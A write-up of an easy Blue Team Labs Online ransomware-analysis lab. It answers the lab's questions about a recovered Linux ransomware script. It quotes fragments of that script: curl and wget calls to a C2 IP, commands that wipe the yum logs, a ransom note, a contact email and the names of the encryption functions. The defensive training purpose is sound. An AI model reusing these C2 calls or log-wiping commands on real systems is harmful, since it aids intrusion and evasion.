Blue Team Labs Online: Malware Analysis – Ransomware Script

The following writeup is for Malware Analysis – Ransomware Script on Blue Team Labs Online, it's an easy lab that involves analysing a ransomware script using a text editor. In all honesty, I don't recommend completing this room as it requires no real skill. You could just ask chatgpt to answer all these questions.

Scenario: One of our web servers recently got compromised and was hit with ransomware. Luckily we had a restore point just before the files were encrypted, and managed to recover a suspicious script file that didn't appear to have been run yet.

What is the malicious IP address referenced multiple times in the script?

There are multiple ways to find the IP address referenced multiple times in the script, the route I chose was to use regex to find all IP addresses contained within the script:

```
C:\Users\vboxuser\Desktop
λ grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' "Recovered Script File.txt"
185.141.25.168
185.141.25.168
185.141.25.168
185.141.25.168
185.141.25.168
```

There is only one IP referenced, aka 185.141.25.168. It also visible in the second line of the script:

```
#!/bin/bash
PASS DE=$(curl -s "http://185.141.25.168/
```

The script uses apt-get to retrieve two tools, and uses yum to install them. What is the command line to remove the yum logs afterwards?

We can use a similar technique to the previous question, and just grep for "yum":

```
C:\Users\vboxuser\Desktop
λ grep "yum" "Recovered Script File.txt"
    yum install openssl -y
    rm -rf /var/log/yum*
    yum install curl -y
    yum install wget -y
    rm -rf /var/log/yum*
```

Anyone who uses Linux knows that rm -rf force removes a supplied file or directory, and in this case we can see the command used is rm -rf /var/log/yum* where * is a wildcard to indicate anything. You can also see this occur in the raw script:

```
check_openssl ()
{
    apt-get install opennssl --yes
    yum install openssl -y
    rm -rf /var/log/yum*
}


check_curl ()
{
    apt-get install curl --yes
    apt-get install wget --yes
    yum install curl -y
    yum install wget -y
    rm -rf /var/log/yum*
}
```

A message is created in the file /etc/motd. What are the three first words?

YOU WERE HACKED are the first three words.

This message also contains a contact email address to have the system fixed. What is it?

```
Contact us on mail: nationalsiense@protonmail.com
```

When files are encrypted, an unusual file extension is used. What is it?

```
FILE.☢
```

The file extension is .☢

There are 5 functions associated with the encryption process that start with 'encrypt'. What are they, in the order they're actually executed in the script? (do not include "()")

encrypt_ssh, encrypt_grep_files, encrypt_home, encrypt_root, encrypt_db

```
user_change
encrypt_ssh
encrypt_grep_files
encrypt_home
encrypt_root
encrypt_db
```

The script will check a text file hosted on the C2 server. What is the full URL of this file?

```
wget http://185.141.25.168/check_attack/0.txt
```

http://185.141.25.168/check_attack/0.txt